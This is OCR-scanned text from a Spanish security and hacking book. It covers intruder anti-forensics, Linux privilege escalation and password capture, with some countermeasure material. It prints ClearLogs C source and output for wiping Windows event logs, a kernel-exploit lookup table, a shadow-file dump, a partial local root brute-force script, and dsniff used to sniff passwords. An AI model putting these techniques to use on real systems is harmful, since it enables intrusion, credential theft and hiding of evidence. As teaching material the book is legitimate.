e 25 | L | http:ffwww.chkrootkit.orgfdownload/

chkrootkit

locally checks for signs of a rootkit

irors | Relsted Links | Books ana Papers | Thanks | FAG | |

The following files are available for downloading:

chkrootkit latest Source tarball (38323 bytes)
chkrootkit tarball's MD5 signature

chkrootkit GPG signature

chkrootkit-m latest zipfile (2575 bytes)
chkrootkit-m zip's MDS5 signature
chkrootkit-m GPG signature

Cleaner. Sitio web del conocido buscador
de rootkits en servidores Linux (www.chkrootkit.org).

Borrar rastros
Si el visitante que entra sin autorizacion sabe lo que hace, tratara de no dejar evi-
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dencia de su paso por el sistema operativo. Borrar rastros seria una accion muy bur-
da en el caso de que se refiera a la eliminaciéon de archivos enteros de registros
(C:\Windows\System32\LogFiles\W3SVCl1 para el registro del webserver IIS
en Windows o /var/log para registros de sistema en Linux). Eliminar el registro
completo en un servidor despertaria una fuerte sospecha de intrusion en el perso-
nal de administracion de los servidores, y el intruso habil lo sabe. Modificar los logs
(de servicios, de aplicaciones, de usuarios y de sistema) es mas sutil que borrarlos
directamente. Por eso, el intruso buscara suplantar los datos de los logs y asegurar
el borrado seguro de los archivos empleados en la intrusion (wipear).

Cabe mencionar que otras huellas son tenidas en cuenta: la modificaciéon del hora-
rio y la fecha de un determinado fichero o directorio manipulado por el atacante,
como por ejemplo el archivo ssh_config o los historiales de comandos ejecutados.
Logicamente, el fin de todo esto es no ser descubierto e imposibilitar el analisis de
los administradores sobre las anomalfas en el sistema o entorpecer la posterior in-
vestigacién o analisis digital forense. Para lograrlo, el intruso buscara modificar los
registros (logs) de cada uno de los servicios que lo haya registrado, principalmente
aquellos que han grabado los intentos desde afuera y del propio sistema. Ademas,
intentara eliminar las trazas del usuario que utilizé para hacer cosas adentro antes
de alcanzar su maximo privilegio.

Existe una forma simple de cambiar la ubicacién de los logs de sistema en Win-
dows. Para eso, tenemos que modificar la clave de registro en HKEY_LOCAL-
_MACHINE\SYSTEM\ CurrentControlSet\Setrvices\ Eventlog.

Material adicional

En el sitio www.offensivecomputing.net, podemos encontrar foros y material técnico
para analizar, junto a una coleccion de herramientas. Como también hay mucho codi-
go malicioso, tenemos que ser muy cuidadosos al compilar y ejecutar algo que haya-
mos bajado desde alli.
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Editor del Registro

Archivo Edicion Yer Favoritos Ayuda
(] Cpaarray A || Nombre Tipo Datos
@ (3 Cryptsve REG_SZ MAMSrYC
@ (] dacawak Eb:]DisplayNameFile REG_EXPAND_SZ %SystemRoot%\system32iels.dll
@ (3 dacosont 3 [@]DisplayNameID  REG_DWORD 0x00000100 (256)
S 8 g;‘c':"a”m File REG_EXPAND_SZ %SystemRoot%\system32\configlappEvent Evt
-3 pisk MaxSize REG_DWORD 0x00080000 {524288)
@ (] dmadmin Eb:]PrimaryModuIe REG_SZ Application
# (] dmboot RestrictGuestAcc... REG_DWORD 0x00000001 (1)
® Q dmio Retention REG_DWORD 0x00093a80 (604800)
#-(] dmload Sources REG_MULTI_SZ WSH WMIAdapter WmdmPmSN WinMgmt Winlogon Win...
@ (] dmserver
@ (] DMusic
- Dnscache o
(1 dptizo
@ (] drmkaud
(] eeyeevnt
(] ERSve
= (] Eventlog
-3 Application

Clave. Aqui vemos, en el registro, desde donde se cambia el directorio

en el que se van a generar los archivos .EVT (logs de eventos de sistema) de Windows.
Por otro lado, estos registros pueden eliminarse via linea de comando de muchas for-
mas. Una de ellas es utilizando ClearLogs (www.ntsecurity.nu/toolbox/clear-

logs/).

& config

Archivo  Edicibn Ver Favoritos Herramientas Ayuda
@ Atrds v Q l’r /O Busqueda u Carpetas <
Direccion |22 C:AWINDOWS\system32\config
. Nombre Tamafio  Tipo - Fecha de modificacid|
Tareas de archivo y carpeta A1 B (55 sustemprofile Carpeta de archivos  10/01/2008 17:53
ﬁ RS default S12KB  Archivo 16/03/2008 23:11
SaM 256 KB  Archivo 16/03/2008 23:11
) Publicar esta carpeta en Web SECURITY 256KB  Archivo 16/03/2008 23:11
fd Compartir esta carpeta software 21.760KB  Archivo 17/03/2008 0:55
system 3.584KB  Archivo 16/03/2008 23:12
userdiff 256 KB  Archivo 10/01/2008 14:31
Otros sitios AppEvent.Evt 64KB  Archivo EVT 16/03/2008 23:11
) svstem32 Internet.evt 64 KB Arch?vo EVT 11/01/2008 4:31
ﬂ e e SecEvent.Evt 64KB Archivo EVT 11/03/2008 23:55
SysEvent.Evt 320KB  Archivo EVT 16/03{2008 23:11
[ Documentos compartidos default.sav 92KE  Archivo SAY 10/01/2008 14:31
9 Mi PC software.sav 652KB  Archivo SAY 10/01/2008 14:31
\Q Mis sitios de red system.sav 468 KB  Archivo SAY 10/01/2008 14:31
default 1KB Documento detexto  17/03/2008 5:16
| sam 1KB Documento de texto 17/03/2008 3:50
Detalles ~ | SECURITY 1KB Documento de texto 16/03/2008 23:14
~ | software 1KB Documento de texto 17/03/2008 6:46
“ | system 1KB Documento de texto 17/03/2008 6:32
~ | TempKey 1KB Documento de texto 10/01/2008 14:31
~ | userdiff 1KB Documento detexto  10/01/2008 14:31

Llenos. Aqui vemos la lista de archivos de eventos en el directorio

C:\WINDOWS\system32\config, que podemos volver a cero con la utilidad ClearLogs.
Si queremos, también podemos compilar el codigo fuente de ClearLogs con la he-
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rramienta DevCPP, un compilador y entorno de desatrollo C/C++ que podemos
descargar de http://prdownloads.sourceforge.net/dev-cpp/devcpp-4.9.9.2
_setup.exe.

Este es un editor integrado con un compilador que nos permitira hacer la compi-
lacién y la ejecucion de aplicaciones. Es ideal para compilar exploits y otros bina-
tios para usos de testeo. Después de instalatlo, vamos al ment Archivo/Nue-
vo/Archivo Fuente y pegamos el siguiente codigo fuente:




A continuacion, lo compilamos desde Ejecutar/Compilar y luego ejecutamos el ar-
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chivo binario (.exe) que se crea en el mismo directorio en el que guardamos el fuen-
te. Por otro lado, les cuento que existen otras herramientas que poder llevar a ca-
bo el borrado seguro de archivos en Windows, como por ejemplo Wipe (www.my-
planetsoft.com/free/wipe.php). Otra herramienta muy util es ShredCL, que uti-
lizamos si necesitamos borrar de modo seguro —irrecuperable— un archivo que con-
tiene, por ejemplo, la tarea batch de loguearse via FTP a una shell nuestra para bajar un
archivo (recordemos el comando ftp —s:e.txt). Esta utilidad la podemos descargar de
www.white-scorpion.nl/programs/shredder.zip.

Archivo Edicién Buscar Ver Proyecto Ejecutar Depurar Herramientas CYS Ventana Ayuda

Bcvo e cvien
2 " Proyecto...
Abrir Proyecto o Archivo  Ctr+O @ td tar GAclivaleesactivar Ira
» Reabrir » E Archivo de Recurso —_|
v

Guardar Ctrl+s
= e
Guardar Como... Ctrl+F12
@ Guardar Todo
Cerrar Cr+F4  Finclude

Cerrar Todo

oid Usage (char buffer(]):
Propiedades int main{int argc,char *argv[])
Importar » o -
if (arge!=

@ Exportar > ¢ (arg )
5 Impririr Ctri+pP Usage (argv([0]):

Configurar Impresién return EXIT_FAILURE:

¥

x Salir

HANDLE hLog:
if (strewp {argv([1], "—app”) ==0)
{
if { (hLog=OpenEventLog (NULL, "Application™)) '=NULL)
{
ClearEventLog {hLog,NULL)
CloseEventLog (hLog) ;

return EXIT_SUCCESS:
}
return EXIT FAILURE;

printf("Application log cleared successfully."):;

Compilando. Aqui estamos creando el archivo ejecutable desde el codigo fuente
de ClearLogs. Esta técnica nos servira para compilar, depurar, optimizar y aprender

mucho mas acerca de los codigos fuente y el método de programacion de sus autores.

Al ejecutar nuestro programa, veremos lo siguiente:

ClearLogs vl1.l written by White Scorpion

Usage:

clearlog -app
clearlog -sec
clearlog -sys

C:\>clearlog -app

(C)2005

(clears application eventlog).
(clears security eventlog).
(clears system eventlog).
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Application log cleared successfully.

C:\>clearlog -sec
Security log cleared successfully.

C:\>clearlog -sys

System log cleared successfully.

Esta bien claro en esta salida de pantalla como se han ido borrando uno a uno
los registros de sistema, tanto de aplicaciones, como de seguridad y sistemas.

Analisis del proyecto de ley de delitos
informaticos aprobado por el Senado de la
Nacion en el aiio 2007
Por Pablo A. Palazzi ¢

Draft v ersién miércoles 26 de marzo de 2008.
A publicarse en la Revista de Derecho Penal y Procesal Penal, Abril-Mayo 2008, Lexis Nexis, Argentina.

(*) © 2008 Pablo Andrés Palazzi

Datos de contacto:

CABANELLAS, ETCHEBARNE., KELLY & DELL'ORO MAINI
San Martin 323, piso 17 - Buenos Aires - C1004AAG

Tel + 5411 4114-5538 - Fax + 5411 4114-5555

e-mail: p.palazzi@cekd.com — pablo@palazzi.com.ar
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Deportes El Mundo Cartas de lectores Sociedad El Pais Entret

ULTIMO MOFIENTO EL Pais B
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ARBA denuncia que hackearon
la base de datos con 72 mil
morosos bonaerenses

21:10 | El listado de grandes deudores por una suma total de $ 4.200
millones fue dado de baja durante |a tarde v repuesto poco
después. La agencia de recaudacion de la Provincia, conducida
por Santiaga Montoya, inicid una investigacion por el episodio,
infarmaron fuentes de |a oficina a Clarin.com.

La Agencia de Recaudacion de Buenos Aires (ARB&) denuncid esta noche guela
hase de datos puesta en Internet hace dos dias con 72.000 grandes morosos fue
hackeada hoy, por o gue el director del arganismo, Santiago Montoya, ardend una
investigacidn para conocer desde ddnde fueron dados de baja los datos.

Asi o confirrnaron a Clarin.com fuentes de la Agencia, que aseguraron que si hien la
hase de datos quedd dada de baja a las 17.30, los archivos quedaron en
condiciones ywalieron a ser puestos anline hace minutos.

Intrusion. Uno de los tantos incidentes que ocurren a diario en el pais y el mundo.
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8 > Servidores
LLinux

Aqui veremos cbémo es el proceder de un
atacante real dentro de un servidor Linux.
Qué busca, cboémo se oculta de la mirada de
los administradores, cémo coloca backdoors o
captura contraseflas de la organizacidn,
entre otras cosas. Ademas, conoceremos
algunas contramedidas muy eficientes basadas
en hardening aplicadas tanto al nucleo, como

a los servicios de este sistema operativo.



Introduccion

Un sistema puede ser 100% seguro. Durante dias o minutos.

¢Cual es mas seguro utilizado como servidor? ¢Linux o Windows? Todo depende
de la dedicacion que le brinde su administrador o responsable en cuanto a su con-
figuracion, control, y el hardening aplicado. Un sistema instalado por defecto pues-
to en produccion es un sistema descuidado, en riesgo. Entonces, tanto uno como
otro, al estar descuidados, son altamente vulnerables.

¢Por qué se dice que Linux es el sistema operativo preferido de los intrusos mas pre-
parados? Es dinamico, es simple si se lo conoce bien y permite hacer muchas cosas al
utilizar su consola de comandos, un editor de textos y un pufiado de aplicaciones
preinstaladas en el mismo sistema. Es libre (no gratuito) y similar a la plataforma ob-
jetivo en la mayoria de los casos. La versatilidad que ofrece y la amplia gama de situa-
ciones y soluciones que pueden darse a través de éste lo hacen una herramienta muy
amena y provechosa. Todo esto sin contar, ademas, sus caracteristicas técnicas de por-
tabilidad (se puede instalar en maquinas viejas desde un simple disquette de booteo),
la posibilidad de modificacién de su codigo fuente o del stack TCP/IP (no esta limi-
tado como Windows XP), de su plataforma de programacion o de la interaccién con
el usuario a través de comandos shell que van desde lo mas simple hasta lo mas com-

plejo.

BRI % ] J-»
2 (—' " 3 — e .
— =) ~ | L_‘ Dedicated Server Hosting ‘Ff . LAYERED
% X k_,E U’-‘JE D _) Frorm the CentOS Experts iik\" TECHNOLOGIES
View Server Specials On-Demand Hosting for An On-Oemand World

The Community ENTerprise
Operating System

Home Donate Information = Support = Wiki ¥ Downloads ¥ ContactUs < Search Register Login

Planet CentOS CentOS Sponsor
Planet Cent0S is a collection of Blags from several CentOS Develapers, If you want to keep The CentOS Praject would like to thark the following
up with the |atest news on the CentOs front, you can find it here; product or service vendor for being a CentOS sponsor:

Planet CentOS

Cent0S Overview (clicking the graphic opens a new window to the sponsar's
sita)
CentOS is an Enterprise-ctlass Linuy Distribution derived from sources freely provided to 1f you would like to help the CentOs project then details can
the public by a prominent North American Enterprise Linuyk wendor. CentOS conforms fully be found on the donation page

with the upstream vendors redistribution policy and aims to be 100% binary compatible,
(Cent0S mainly changes packages to remove upstream vendor branding and artwork.)
Cent0s is free, CentOs is now gccepting donations wia PayPal, please dick the button for

mare irfarmation, (Donate Now)

Sponsors Links

Cent0s 15 developed by 3 small but growing team of core developers. In turn the core The Cent0S Project would like to thank the following
developers are supported by an active user community including system administrators, sponsors of the project,

network administrators, enterprise users, managers, core Linux contributors and Linux

enthusiasts from around the world, Social or Yideo Scripts and Hosting

Distro. Cent0S (www.centos.org) es una distribucién de Linux basada
en el cddigo fuente liberado de Red Hat. Actualmente es bastante utilizado en
empresas para compartir recursos a modo de servidor. Podemos descargar la guia de
seguridad para Centos desde www.linux-books.us/download.php?f=cos_security_guide.zip.
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Hoy, mas que nunca, se encuentra al alcance de todos debido a lo facil de su instala-
cién, a su amigable interfaz grafica (como KDE o Gnome) y al mantenimiento de pa-
quetes mediante actualizaciones a través de algunos simples comandos. Veamos c6mo
se instala paso a paso un buscador de vulnerabilidades como Nessus en esta platafor-
ma.

Nessus en Debian GNU/Linux 4.0

Trabajar desde Nessus, instalado en una plataforma Linux como Debian 4.0, es mas facil y ge-
nera menos inconvenientes que si se lleva a cabo desde una terminal con Windows XP. All
no tendremos que lidiar con el firewall de éste ni con su limitado stack TCP/IP gracias al Set-
vice Pack 2, entre otras cosas propias de ese sistema operativo otientado a usuarios de esctitorio.

Report: ( - Default scan policy
general/udp
generalficmp

Synopsis :
echo (7/udp)
echo (7/tcp) It is possible to enumerate local users on the remote Windows host.
discard (9/tcp) -
daytime (13/udp) Description :
daytime (13/tcp)
qotd (17/udp) Using the host SID, it is possible to enumerate local users on the
qotd (17/tcp) remote Windows system.
chargen (19/tcp) Note that Nessus enumerates only users with a UID in the configured
name (42/tcp) range, by default 1000 and 2000.
domain (S3/tcp) Risk factor :
epmap (135/tcp) None
netbios-ns (137/udp) .
netbios-ssn (139/tcp) Plugin output :
https (443/tcp) - Administrator account name : Administrador (id 500)
microsoft-ds (445/tcp) - Guest account name : Invitado (id 501)
blackjack (1025/tcp) - TsinternetUser (id 1000)
iadl (1030/tcp) -IUSR_ (lfi 1001)
iad3 (1032/tcp) - IWAM_ (id 1002)
mirlogin (1035/tcp) - Usuarios DHCP (id 1003)
pcg-radar (1036/tcp) - Administradores DHCP (id 1004)
ms-streaming (1755/tcp) - Usuarios WINS (id 1005)
redwood-broker (3001/tcp) - :hurchi (id 1006)
cgms (3003/tcp) - etoletti (id 1007)
ms-wbt-server (3389/tcp) - llaglio (id 1008)
- erra(id 1009)
- omez(id 1010)
778/tcp) - abares (id 1011)
http-alt (8080/tcp) - elpino (id 1012)
- NetShow Administrators (id 1014)
(id 1015)
- NetShowServices (id 1016)
- allejo (id 1017)
- aco (id 1018)

Reporte. En esta pantalla, vemos el resultado del
escaneo de un host con la Gltima versidon de Nessus, mostrando
un listado de vulnerabilidades (en este caso la lista de los usuarios de un
servidor Windows), informacién que luego podré ser exportada a un reporte.

Para instalarlo, en primer lugar debemos ir a la seccion Download del sitio de
Nessus (www.nessus.org). Luego aceptamos el contrato de licencia y colocamos
nuestros datos personales en el formulario. Cuando terminamos de descargar el
paquete para Linux Debian, ejecutamos:
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A continuacion, procedemos a registrar Nessus con el serial que ha llegado a la di-
reccion de correo que ingresamos en el formulario de registro.

Material de estudio




Se nos comunica que tenemos la herramienta registrada y la database de plugins ac-
tualizada al dfa de la fecha. Entonces, damos de alta un usuario que sera el autori-
zado para que el cliente se conecte al servidor en modo autentificado:

lab:/tmp# /opt/nessus/sbin/nessus-adduser

Using /var/tmp as a temporary file holder

Add a new nessusd user

Login : auditoria
Authentication (pass/cert) [ pass]
Login password :

Login password (again)

User rules
nessusd has a rules system which allows you to restrict the hosts
that pentest has the right to test. For instance, you may want

him to be able to scan his own host only.
Please see the nessus-adduser (8) man page for the rules syntax

Enter the rules for this user, and hit ctrl-D once you are done

(the user can have an empty rules set)

Login : auditoria
PaSSWOrd . *hkkkkkkkkkk
DN

Rules

Is that ok ? (y/n) [y] ¥y

user added.

Después de agregar el usuario correctamente, bajamos el cliente que corresponde
del sitio de Nessus, siguiendo los mismos pasos que para el server. En este caso,
elegimos Debian. Luego de bajatlo, lo instalamos con el comando lab:/tmp#
dpkg —i NessusClient-3.2.0-debian4_i386.deb y, cuando se termina de instalar,
lo ejecutamos con lab:/tmp# /opt/nessus/bin/NessusClient.
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O Nessus : Untitled =l

File Help

Scan | Report |

Network(s) to scan : Select a scan policy :
200. .233

T Logging into the remote scanner.@

New Certificate

This is the first connection to the remote host. Do you want to
continue to log in ?

(-] Edit... | [+ |- Edit...
Scan Now

Primera. Aqui, el cliente nos pregunta si nos queremos conectar al servidor.
Eligiendo la opcion Yes, éste se conectara a través del usuario configurado y podremos
setear las politicas y modos de bdsqueda de vulnerabilidades para cada objetivo.

Acciones del intruso

Antes de conocer mas acerca de los actos usuales (dentro de los diversos patro-
nes de conducta en intrusos), cabe aclarar que todas las técnicas que desarrolla-
mos en los capitulos previos son aplicables a un servidor Linux para comprome-
terlo. Sélo cambian los comandos y las herramientas, pero la intencién o accionar
es el mismo.

Nmap

El escaner Nmap no viene mas junto a Nessus. Si deseamos utilizarlo junto a éste de
forma conjunta, debemos dirigirnos a www.nessus.org/documentation/index.php-
?doc=nmap-usage para obtener informacion y a www.nessus.org/documentation/n-
map.nasl para descargarlo.
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Professional Training and Tools for Security Specialists.

®§EEM8UWE &€ THIS COURSE FAR
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securil WITH ITS DEPTH 39
- JASON GRIFFITHS

He Training i Reviews

Offensive-Security
Join Mati Aharoni and the Offensi
on a non-stop heart pounding ric 3 ormation for
as you crash through firewalls an
with over 300 up to date, industry
tools. Challenge yourself in live |
with servers and desktops ready

self paced learning €

from the makers of b

Estudio. Este es un curso brindado por los creadores de
Backtrack, llamado Offensive Security 101. Es realizado online en
un entorno real (laboratorio) en el que se llevan a cabo practicas contra
servidores vulnerables. Mas informacion en www.offensive-security.com.

Claramente, nos vamos a encontrar con situaciones particulares por la diferencia de la
plataforma (como extraer informacion acerca de los usuarios existentes a través de los
servicios ident, finger, sendmail, samba, snmp, desde aplicaciones como Apache,
o bien databases como Oracle y MySQL). Los ataques siempre van a ser dirigidos
hacia:

¢ El factor humano involucrado: al descuido o error de administraciéon o progra-
macion, en un contexto de trabajo (recursos del administrador, e-mail), dirigidos
al escenario personal de algin componente (e-mail del gerente de sistemas, due-
fio de la compafifa o cualquier empleado que manejara informacién de la admi-
nistracion).

IPTABLES

Sistema de firewall, que se utiliza tanto como para el filtrado de paquetes (por ende
conexiones) como para hacer NAT en una red. Recomiendo como lectura basica el
claro documento: Iptables Manual Practico por Xabier Pello (googlear),
administrador dedicado. Pagina oficial de la he- rramienta: www.netfilter.org
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* Al sistema operativo o sus servicios: Vulnerabilidades presentes en servicios,
mecanismos de autentificacion.

INSURANCE.COM
May The Best Quote Win'
These customers saved

on auto insurance. o
See what they're saying...

Main Menu
Yeritas Supports Oracle Linux
Microsoft wireless keyboards crypto cracked
Mac Hack Contest Draws Fire

Digg Users Revolt After HD DYD Keys Posted
Microsoft to Issue Emergency Patch

Home I
Operator

News

Blog
Links
Contact Us Operator B @

Operator v3.3.20

Gateway to the Information

News Feeds
WHCC

Linux News
Linix Distros
Linux Today
Linux - Yahoo
Operator is a complete Linux (Debian) distribution that runs from a single bootable CD and runs
SUN News. entirely in RAM. The Operator contains an extensive set of Open Source network security tools that
can be used for monitoring and discovering networks. This virtually can turn any PC into a network
SUNIDeveloperiicas security pen-testing device without having to install any software. Operator also contains a set of

forensic and data recovery tools that can be used to assist you in data retrieval on the

Planet O laris

Distro. Operator 3.3 es una distribucion de seguridad
(live CD) basada en Debian GNU/Linux. Tiene mas de 100 exploits
y 900 utilidades para ejecutar. Su pagina es www.ussysadmin.com/operator.

* Dirigido a las aplicaciones: Vulnerabilidades o descuidos.

* A la red y sus protocolos: Vulnerabilidades en implementaciones que involu-
cren a la familia TCP/IP o protocolos que transporten informacion sensible en
texto plano, como también aquellos criptosistemas (tramos de red con transmi-
sién cifrada entre puntos) que cuenten con un algoritmo de cifrado débil.

¢ Al entorno u objeto débil en el resto del escenario: Componentes perimetrales.

* Plano fisico: Dumpster diving (trashing, buscar basura), entrar en el datacenter,
sentarse frente a la terminal, hurgar cajones, fotografiar documentos o pizarras, et-
cétera.

Dentro de la shell

El intruso, una vez que consigui6 una cuenta dentro del servidor (con el método o
técnica que hayamos detallado antes, o una mezcla de ellas), lo primero que va a in-
tentar siempre es obtener el maximo privilegio de cuenta.

Veamos un claro ejemplo de salida de pantalla. En este caso, el intruso ejecuta un
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exploit remoto para la falla OpenSSL+Apache hacia el objetivo con resultado po-
sitivo. Una vez adentro, ejecuta un exploit de kernel y se convierte en root.

Comandos Linux







enjoy!
cat /etc/shadow - Ya posee privilegios de root y puede ver el

archivo de contrasefias cifrado.

root:$1SNZAEO3hhS$t9bscNDCLpH/7232GnSsB0:11873:0:99999:7:-1:-1:0
bin:*:11600:0:99999:7:::
daemon:*:11600:0:99999:7:::
adm:*:11600:0:99999:7:::
1p:*:11600:0:99999:7:::
sync:*:11600:0:99999:7:::
shutdown:*:11600:0:99999:7:::
halt:*:11600:0:99999:7:::
mail:*:11600:0:99999:7:::
news:*:11600:0:99999:7:::
uucp:*:11600:0:99999:7:::
operator:*:11600:0:99999:7:::
games:*:11600:0:99999:7:::
gopher:*:11600:0:99999:7:::

—8<

Recordemos que siempre hablamos de un intruso que tiende a pasar desapercibido. La for-
ma mas facil de escalar privilegios, como vimos, es ejecutando un exploit local de kernel,
y para ello tiene que saber de qué version se trata éste. Para saberlo, ejecutara uname —a o
uname —t y quiza intente ver las imagenes de arranque o su nombre (terminan usualmen-
te con el nimero de kernel por ejemplo: vmlinuz-2.6.24-1-686). Otros comandos usuales
son:

* dmesg | grep Linux
* cat /etc/issue (por deduccion al dato que nos muestra sabremos cual es el kernel
por defecto que este trafa)

Enigform (Sesiones webs seguras)

Enigform y mod_openpgp son extensiones para Firefox y Apache respectivamente que agregan
un soporte OpenPGP para HTTP, orientado al Inicio Seguro de Sesiones Web y la firma digital de
solicitudes y respuestas HTTP. Creado por Arturo ‘Buanzo’ Busleiman, este proyecto cuenta con
el apoyo de Vinton Cerf y la organizacion OWASP. http://enigform.mozdev.org
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* cat /proc/version
e find / -name *2.6* o find / -name *2.4* etcétera

Una vez encontrada la version correspondiente, intentara explotarla mediante un ex-
ploit como los que puede encontrar en http://packs.by.ru/xploits/.

VERSION EXPLOIT

2.417 newlocal, kmod, uselib24
2418 brk, brk2, newlocal, kmod
2.4.19 brk, brk2, newlocal, kmod
24.20 ptrace, kmod, ptrace-k, brk, brk2
2.4.21 brk, brk2, ptrace, ptrace-kmod
2.4.22 brk, brk2, ptrace, ptrace-kmod
2.4.22-10 loginx

2.4.23 mremap_pte

2.4.24 mremap_pte, uselib24
2.4.25-1 uselib24

2.4.27 uselib24

2.6.2 mremap_pte, krad, hOOlyshit
2.6.5 krad, krad2, hOOlyshit

2.6.6 krad, krad2, hOOlyshit

2.6.7 krad, krad2, hOOlyshit

2.6.8 krad, krad2, hOOlyshit

2.6.8-5 krad2, hOOlyshit

2.6.9 krad, krad2, hOOlyshit
2.6.9-34 r00t, hOOQlyshit

2.6.10 krad, krad2, hOOlyshit

2.6.13 raptor, raptor2, hOllyshit, prctl
2.6.14 raptor, raptor2, hOllyshit, prctl
2.6.15 raptor, raptor2, hOllyshit, prctl
2.6.16 raptor, raptor2, hOllyshit, prctl

Locales. Listado de exploit por version de kernel
que encontramos en http://packs.by.ru/xploits/kernel.txt.

El descuido humano es, quizas, uno de los principales responsables de un inciden-
te amargo en cuanto a intrusion y, en este caso, es ejecutar mal un comando. Para
cambiar de un usuario comun a la cuenta root, los administradores deben escribir
su y presionar la tecla Enter. Algunos cometen el error de ejecutar su, seguido de
su clave de root, teclear mal su, confundirse de consola, copiarla o escribirla y pre-
sionar Enter. Aunque ese acto no significa nada por si solo, todo ello queda graba-
do en el archivo .bash_history de cada usuario del sistema (/home/usuario/.bash-
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_history), donde esta el historial de los comandos ejecutados.

El intruso, cuando entra en la Shell, buscara informacién acerca del sistema y del
administrador mirando el archivo .bash_history (quiza deshabilite la funcién de
guardar el historial de comandos con unset HISTFILE apenas entra a menos
que no sea necesario si entré por un backdoor que no deje trazas). Al hacerlo,
sabra instantaneamente cudles son las habilidades del administrador o de ese
usuario, y vera mas objetivos de red, tareas cotidianas y todo lo que haya hecho con
un simple cat .bash_history. A veces, el intruso encuentra en texto plano el password
de root.

Veamos el interior de un .bash_history tipico:

$ cd /home/admin - Entramos al path del usuario admin
$ cat .bash history - Vemos el contenido de .bash history
su -1

exit

su -1

su -1

ping 200.8.200.1

ping 192.8.200.1

su

ping www.cisco.com

top

nslookup

top

nslookup

cd /etc

pico -w resolv.conf

su -1

exit

top

Proteger historial

Una buena opcion para mejorar la seguridad en nuestro sistema Linux es proteger el
historial de comandos ingresados. En el documento que encontramos en www.defco-
n1.org/secure-command.html, podemos ver como se pueden asegurar los archivos
.bash_history para que no sean manipulados.
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Claro que hay otras formas menos sutiles de dar con el password de root. Como
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ejemplo, podemos mencionar el siguiente script hecho en python, que hace brute
force de modo local sobre la cuenta root:




print “Eg: ./rootbrute.py words.txt\n”
sys.exit (1)
try:
words = open(sys.argvl 1], “r”).readlines()
except (IOError) :
print ™\ nError: Check your wordlist path\n”

sys.exit (1)

print ™\ n[ +] Loaded:”,len (words), "words”
print “[ 4] BruteForcing...\n”
for word in words:

brute (word.replace (M\n”,”"”))

Ademas de los descuidos humanos, un intruso también puede sacar provecho de
las aplicaciones y cgis que se encuentren instalados, los archivos con el bit SUID
activado (en determinadas versiones de plataformas), scripts olvidados con ciertos
permisos de accion, documentos con informaciéon como dumpeos de databases en
texto plano con permiso de lectura, entre otros.

Dsniff

Su creadot, Dug Song, cuenta las partes que integran este kit (www.monkey.otg/ ~dug-
song/dsniff/) de la siguiente manera: “Dsniff es una coleccién de herramientas para audi-
tar redes y realizar penetration testing. Esta compuesta por dsniff, filesnarf, mailsnarf,
msgsnarf, urlsnarf, y webspy, que pasivamente monitorean la red en busca de informacion
interesante (como passwords, e-mail, archivos, etcétera). Arpspoof, dnsspoof y macof fa-
cilitan la intercepcién de trafico de red, normalmente no disponible para un atacante (por
ejemplo, switcheo de capa 2). sshmitm y webmitm implementan ataques activos man-in-
the-middle contra sesiones SSH y Https redireccionadas, explotando débiles bindings en
ad-hoc PKI1.”

A continuacion, veamos el output en pantalla de esta herramienta. El atacante, dias

Material adicional

Caracteristicas de archivos: http://nixshellwordpress.com/2007/04/21/suid-shell-scripts-setting-the-sticky-
bit/. Acerca de chmod y permisos en Linux: http:/catrip.wordpress.com/2007/12/18/chmod-permisos-en-li-
nux/. Tips para escalar privilegios en Linux de modo fisico y local: http://hispabyte.net/wiki/index.phptitle=Tu-
torial_para_escalar_privilegios_en_sisternas_GNU/Linux.
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antes por la noche, ingresé al servidor de la universidad y dejé plantado dsniff pa-
ra capturar contrasefias. Dias después, ingresé en el servidor a través del backdoor
para ver qué habfa capturado este esnifer, y se encontr6 con lo siguiente:







Como podemos ver, la informacién que captura es muy relevante. Ha logrado, des-
de cada uno de los protocolos por los que ha pasado, una contrasefia. Los muestra
de modo ordenado y no duplicado como otros sniffers; es muy util para auditar las
redes de una organizacion y asi poder dar con las contrasefias o certificados de ac-
ceso a la red. Como tips, podemos mencionar los siguientes:




* Si el resultado de captura sale sucio con algin protocolo (por ejemplo, contrase-
flas vacfas via snmp o brute force de algin servicio por parte de un tercero), po-
demos editatlo desde el archivo dsniff.setvices borrando ese puerto/setrvicio.

* Si no podemos compilar la herramienta dsniff en el servidor, es posible bajarla,
descomprimirla, ingresar en el path y alli bajar un dsniff binario, previamente
compilado en otro servidor Linux. Le damos el nombre o privilegios que desee-
mos y lo ejecutamos como queremos.

Si necesitamos esnifear un servicio que esta en un puerto diferente, por ejemplo, un servi-
dor que tiene el servicio Telnet escuchando en el puerto 7, para no complicarnos demasia-
do tenemos que editar dsniff.setrvices y, en donde dice 23, colocar 7. Lo mismo debemos
hacer en caso de que sea otro protocolo el que corra por otro lugar. Por esto es muy im-
portante reconocet, con nmap, los 65365 puertos del servidor objetivo y, aquellos puertos
que aparezcan como desconocidos, probarlos y reconocetlos uno a uno telneteando a ma-
no o intentando descubrir qué clase y servicio es, con la ultima version de la herramienta
Amap.

- c X http:{jmonkey.orgj~d. iFF{Faq.html#C; 5 TGk

4. Countermeasures

4.1. How do I detect dsniff on my network?

At layer-2: LBL's arpwatch can detect changes in ARP mappings on the local network, such as those caused by arpspoof or macof.

At layer-3: A programmable sniffer such as NFR can look for either the obvious network anomalies or second-order effects of some of dsniff's active
attacks, such as:

o ICMP port unreachables to the local DNS server, a result of dnsspoof winning the race in responding to a client's DNS query with forged data
o excessive, or out-of-window TCP RSTs or ACK floods caused by tepkill and tepnice

dsniff's passive monitoring tools may be detected with the 10pht's antisniff, if used regularly to baseline network latency (and if you can handle the
egregious load it generates). Honeynet techniques for sniffer detection (such as the sniffer detector at IBM Zurich GSAL) also present an interesting
countermeasure of last resort...

4.2. How do I protect my network against dsniff?

At layer-2: Enabling port security on a switch or enforcing static arp entries for certain hosts helps protect against arpspoof redirection, although both
countermeasures can be extremely inconvenient.

At layer-3: IPSEC paired with secure, authenticated naming services (DNSSEC) can prevent dnsspoof redirection and trivial passive sniffing.
Unfortunately, IPSEC's IKE is an overblown key exchange protocol designed by committee, so unwieldy and perverse that widespread deployment
across the Internet is almost unthinkable in the immediate future.

At layer-4: Don't allow proprietary, insecure application protocols or legacy cleartext protocols on your network. dsniff is useful in helping to detect
such policy violations, especially when used in magic (dsniff -n) automatic protocol detection mode. This is largely a matter of remedial user
education perhaps best left to the experienced BOFH. :-)

Detectar. Las soluciones (mitigacién) para este
tipo de ataque o técnica podemos encontrarlas en el final
del FAQ de la herramienta (www.monkey.org/~dugsong/dsniff/faq.html).
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Troyanizar comandos y servicios

Ahora veremos dos ejemplos, con salida de pantalla para ser mas especificos y cla-
